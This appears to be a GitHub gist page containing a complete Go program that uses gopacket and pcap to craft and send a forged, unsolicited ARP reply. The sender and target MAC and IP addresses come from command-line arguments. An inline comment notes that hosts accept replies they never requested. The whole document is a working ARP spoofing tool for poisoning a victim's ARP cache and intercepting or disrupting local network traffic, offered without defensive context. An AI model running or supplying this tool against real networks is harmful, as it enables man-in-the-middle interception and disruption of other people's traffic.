Skip to content

Instantly share code, notes, and snippets.

@003random
Created September 11, 2021 00:38
Show Gist options
  • Save 003random/7fde64c508f4d02a903b585d83621489 to your computer and use it in GitHub Desktop.
Save 003random/7fde64c508f4d02a903b585d83621489 to your computer and use it in GitHub Desktop.
package main
import (
"log"
"net"
"os"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
)
func main() {
// Assign the passed in arguments to variables of the right type
srcMAC, err := net.ParseMAC(os.Args[2])
if err != nil {
log.Fatal(err)
}
srcIP := net.ParseIP(os.Args[3])
dstMAC, err := net.ParseMAC(os.Args[4])
if err != nil {
log.Fatal(err)
}
dstIP := net.ParseIP(os.Args[5])
// Open a socket
handle, err := pcap.OpenLive(os.Args[1], 2048, true, pcap.BlockForever)
if err != nil {
log.Fatal(err)
}
// Construct the layers/packet
eth := layers.Ethernet{
SrcMAC: srcMAC,
DstMAC: dstMAC,
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply, // A request is not needed. Machines will happily accept a reply without having sent out a single request
SourceHwAddress: srcMAC,
SourceProtAddress: srcIP.To4(), // The source IP to bytes
DstHwAddress: dstMAC,
DstProtAddress: dstIP.To4(), // The destination IP to bytes
}
// Serialize the layers to a bytes array (the packet)
b, err := serialize(&eth, &arp)
if err != nil {
log.Fatal(err)
}
// And write/send the packet
err = handle.WritePacketData(b)
if err != nil {
log.Fatal(err)
}
}
func serialize(layer ...gopacket.SerializableLayer) (b []byte, err error) {
buf := gopacket.NewSerializeBuffer()
opt := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
if err := gopacket.SerializeLayers(buf, opt, layer...); err != nil {
return b, err
}
return buf.Bytes(), nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment